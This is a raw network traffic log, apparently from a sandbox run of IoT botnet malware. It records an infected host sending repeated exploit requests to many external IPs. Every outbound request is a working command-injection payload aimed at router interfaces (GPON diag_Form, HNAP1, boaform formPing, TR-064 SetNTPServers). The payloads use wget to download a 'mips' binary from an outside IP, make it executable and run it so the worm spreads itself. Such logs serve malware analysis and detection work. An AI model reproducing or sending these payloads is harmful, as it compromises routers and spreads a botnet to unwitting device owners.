Apr 15, 2024 08:53:23.808423042 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	33422	51.81.234.22	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.504947901 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.682584047 CEST	513	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:52:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 319 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 73 31 30 30 31 34 35 38 2e 69 70 2d 31 34 37 2d 31 33 35 2d 31 30 35 2e 75 73 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at ns1001458.ip-147-135-105.us Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	36214	54.84.142.208	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.658561945 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.876481056 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:52:23 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	33026	148.0.28.146	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.693432093 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:23.950362921 CEST	346	IN	HTTP/1.1 400 Bad Request Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Apr 15, 2024 08:52:23.950400114 CEST	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	59430	175.194.152.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:23.985995054 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:25.504508018 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:27.296468019 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:31.076524973 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:38.240461111 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:52.576452971 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.760423899 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	54978	52.178.24.72	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:24.463453054 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	58530	178.48.181.29	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:25.099056959 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:52:25.548568964 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	57124	178.237.184.60	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:25.121335030 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	56864	183.221.223.80	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:25.802588940 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:30.048507929 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:36.192460060 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:48.224453926 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:13.568411112 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	54092	93.81.145.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:25.803100109 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:26.170842886 CEST	125	IN	HTTP/1.0 501 Not Implemented Content-type: text/html Date: Mon, 15 Apr 2024 09:52:25 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	47614	39.29.129.101	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.094516993 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	53370	218.159.250.155	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.100765944 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	48492	177.170.154.250	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:26.138770103 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	54110	93.81.145.250	7547

